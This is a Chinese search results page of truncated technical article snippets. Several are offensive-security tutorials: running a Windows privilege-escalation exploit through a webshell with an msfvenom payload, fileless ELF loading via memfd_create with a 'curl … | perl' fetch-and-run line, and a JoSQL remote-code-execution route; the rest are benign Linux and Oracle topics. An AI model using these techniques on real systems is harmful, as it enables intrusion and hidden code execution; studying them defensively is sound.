首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Windows提权EXP多种执行方式

pause > nul 非交互式SHELL:命令终端没有与用户进行交互,而是读取文件中的命令来执行,当执行完成后即退出SHELL,并没有回显,如:Webshell大马和中国菜刀的虚拟终端里执行这个批处理文件...首先我们先用msfvenom命令生成一个以cmd.exe命名的EXE载荷文件,因为CVE-2018-0824这个提权EXP只会去执行cmd.exe文件......和EXE载荷文件同时上传至目标主机的可读写目录中,必须在同一目录下,然后再通过中国菜刀虚拟终端执行我们的提权EXP即可得到SYSTEM最高权限会话。...通过ProcessExplorer工具可以看到我们的提权EXP已经成功执行了,并且以SYSTEM权限执行了我们的EXE载荷文件,最后执行的是:C:\ProgramData\cmd.exe,发现很多人都不会用这个...EXP,会提示找不到文件,可使用以下方式将提权EXP或路径中的空格用“”双引号括起来,或者使用短文件/文件夹名。

1.8K20

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.4K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

4.4K40

exp执行过程出现ORA-01455的解决(存疑)

19c的客户端用exp导出19c的某个用户,执行如下指令, [oracle@bisal ~]$ exp bisal/bisal@bisal file=test.dmp consistent=y Export...- 在当前的用户下,确实存在一个INVALID的package body,删除后执行,仍出这个错。 3....5. exp增加indexes=n和statistics=n参数. - 经过测试,indexes=n没作用,但是statistics=n起到了作用,只要带上statistics=n,exp则不会出现ORA...结合4和5,看下统计信息中是否存在空值的场景,一张分区表的max分区统计信息是0, 确实这个分区记录数是0, 插入一条记录,采集统计信息,确认无空值, 以上两个调整,exp执行还是提示错误,悬而未决的问题...虽然问题解决了,但是没太懂,为什么statistics统计信息的导出,导致了ORA-01455的错误,而且只是exp报错,expdp没错?

1.6K30

JoSQL内存数据库远程代码执行漏洞(含EXP

例如,查找所有在2004年内修改过的html文件: java中使用JoSQL: 下面分析下远程代码造成的原因 1.首先写一个demo查询从User列表中查询: 上面代码运行结果是: 现在将sql语句换成...2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如: 执行结果: 3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。...其执行结果可以通过变量作为其他查询参数来调用 语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [...[ AS ] Alias ] 例子: 执行结果: 从结果中可以看到Demo成功被创建。...结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。 执行结果: 则系统命令成功被执行

1.1K110

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

8.9K20

详解 Linux执行文件 ELF 文件的内部结构

ELF 文件载入内存并执行。...and Linkable Format) 所谓的 ELF 文件,翻译过来就是“可执行与可链接文件”,是一种用于二进制文件之间相互调用的可执行文件格式,通过链接即可引入调用,拥有非常强大的可扩展性和灵活性...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....可重定位文件, 2. 可执行文件, 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行

2.5K20

Linux系统创建可执行文件软链接

这里我们使用的案例是通过TMalign这个蛋白质打分文件,在编译好可执行文件之后,可以使用建立软链接的方法快捷的使用该可执行文件。...编译之后就会在当前路径下生成一个名为TMalign的可执行文件: $ ll 总用量 3036 drwxrwxr-x 2 dechin dechin 4096 5月 6 13:58 ./ drwxrwxr-x...,有时候会遇到想把可执行文件放在特定的路径下的问题,比如放到/usr/bin目录下,这样可以全局可调用,又不需要手动添加各种乱七八糟的系统路径。...这就需要使用到Linux中的软链接的功能,通常使用ln -s的指令即可。...本文顺带介绍了蛋白质结构评分软件TMalign的源码下载和安装使用的基本方法,编译成一个可执行文件后,可以建立一个软链接,在系统各处都可以使用,是一个比较基础的操作。

2.8K20

linux下误执行rm -f命令后,如何恢复文件

hi,偶然间看到在linux运行了rm命令之后还能恢复,很是神奇所以就看了下,不知道是不是真的,管他呢先转载啊,不行再删呗反正怎么都是灌水,此文教程并未测试,如有问题请@原作者,在我们在生产环境服务器上执行...rm命令时,总是提心吊胆的,因为一不小心执行了误删,一旦误删没办法了然后就要准备跑路了,毕竟人不是机器,更何况机器也有bug,假如真的不小心删除了不该删除的文件,比如数据库、日志或执行文件,咋办呢?...在Linux系统中,每个运行中的程序都有一个宿主进程彼此隔离,以/proc/进程号来体现(Linux本质上就是一个文件系统),比如:ls -l /proc/13067 查看进程PID为13067的进程信息...;当程序运行时,操作系统会专门开辟一块内存区域,提供给当前进程使用,对于依赖的文件,操作系统会发放一个文件描述符,以便读写文件,当我们执行 rm -f 删除文件时,其实只是删除了文件的目录索引节点,对于文件系统不可见...总结 如果不小心误删了文件,不要着急,首先使用 lsof 查看打开该文件的进程,然后再使用 cat /proc/进程号/fd/文件描述符 查看恢复数据,最后使用I/O重定向的方式来恢复文件

6.9K31
领券